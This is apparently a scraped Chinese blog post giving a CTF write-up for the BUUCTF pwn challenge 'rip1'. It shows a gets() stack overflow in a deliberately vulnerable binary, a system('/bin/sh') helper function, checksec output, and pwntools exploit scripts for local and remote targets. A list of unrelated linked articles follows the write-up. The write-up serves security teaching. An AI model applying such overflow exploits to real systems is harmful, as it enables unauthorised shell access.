BUU PWN RIP1 RET2CODE WRITEUP
1、下载附件后,运行是一个输入程序,IDA分析main函数,gets可溢出。

F5伪代码如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh] puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
2、在附近还有个fun函数,存在shell入口。
int fun()
{
return system("/bin/sh");
}
3、checksec查看无保护。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
6、单步执行运行,输入任意字符,执行完函数。ret位置在0x7fffffffe7a8,也就是需要替换的return address位置。


8、在IDA中找到fun函数的开始位置:0x401186。这个值用来替换栈中原本的内容0x7ffff7e15d0a

9、写exp
from pwn import *
r = process('./pwn1')
offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401186
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()
在本地可以执行,但是目标替换为远端就不行了


from pwn import *
r = remote("X.X.X.X",29395)
offset = 0x7fffffffe7a8-0x7fffffffe791
fun = 0x0000000000401187
r.sendline('a'*offset+p64(fun).decode("iso-8859-1"))
r.interactive()
BUU PWN RIP1 RET2CODE WRITEUP的更多相关文章
- BUU PWN hitcontraining_bamboobox
本来想学习house of force,结果没用就直接做出来了...我用了三种方法来做这道题. 1.fastbins attack 2.unlink 3.house of force 可以改写got表 ...
- 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分
ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...
- BUU pwn cn
自己不细心,人家别的博客上写的明明没有那个冒号的,把linux命令好好学一学吧! nc后 ls 发现flag文件 cat就得到flag了
- 【wp】2021MAR-DASCTF_逆向
昨天打完的MAR DASCTF,来复个盘~ 不过就re做了3/4然后有事提前开溜了hhh,拿了drinkSomeTea和replace的三血心满意足(蜜汁三血执念. 感觉这回的出题人好喜欢TEA啊(正 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 【CTF】Pwn入门 XCTF 部分writeup
碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...
- HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
随机推荐
- [转帖]Jmeter脚本录制:Jmeter5.0脚本录制
第一部分进行jmeter设置 第一步:在JMeter中添加线程组 第二步:在线程组下添加HTTP请求默认值 添加->配置元件->HTTP请求默认值,设置服务器IP和端口号 第三步:在线程组 ...
- Navicat For Redis 的学习与使用
Navicat For Redis 的学习与使用 背景 周末在家看了几个公众号: 说到Navicat 16.2已经有了 Redis的客户端. 想着前段时间一直在学习Redis, 但是没有GUI的工具, ...
- [转帖]Sosreport:收集系统日志和诊断信息的工具
https://zhuanlan.zhihu.com/p/39259107 如果你是 RHEL 管理员,你可能肯定听说过 Sosreport :一个可扩展.可移植的支持数据收集工具.它是一个从类 Un ...
- [转帖]Veeam Backup & Replication 10.0.0.4461安装部署(包含补丁)
原文:https://www.cnblogs.com/cnzay/p/15561893.html Veeam Backup & Replication 是一款数据保护软件,为VMware 和H ...
- [转帖]vm内核参数之缓存回收drop_caches
注:本文分析基于3.10.0-693.el7内核版本,即CentOS 7.4 1.关于drop_caches 通常在内存不足时,我们习惯通过echo 3 > /proc/sys/vm/drop_ ...
- [转帖]总结:Servlet
一.背景 开发了很久的web服务,使用了很多web框架,都忘记web技术最原始的模样了,今天来回顾下. 二.Servlet是什么? Servlet是sun公司提供的一门用于开发动态web资源的技术.我 ...
- vue关于通过下标更改数组的理解
案例1:通过下标更改数组失败 <template> <div> <el-button @click="handlerMe2"> 改变 arr & ...
- 用户 'NT Service\SSISScaleOutMaster140' 登录失败
用户 'NT Service\SSISScaleOutMaster140' 登录失败. 原因: 找不到与提供的名称匹配的登录名. 项目情况: 用户 'NT Service\SSISScaleOutMa ...
- 开启中文智能之旅:探秘超乎想象的 Llama2-Chinese 大模型世界
"开启中文智能之旅:探秘超乎想象的 Llama2-Chinese 大模型世界" 1.国内Llama2最新下载地址 本仓库中的代码示例主要是基于Hugging Face版本参数进行调 ...
- C/C++ x64 Inline Hook 代码封装
Hook 技术常被叫做挂钩技术,挂钩技术其实早在DOS时代就已经存在了,该技术是Windows系统用于替代DOS中断机制的具体实现,钩子的含义就是在程序还没有调用系统函数之前,钩子捕获调用消息并获得控 ...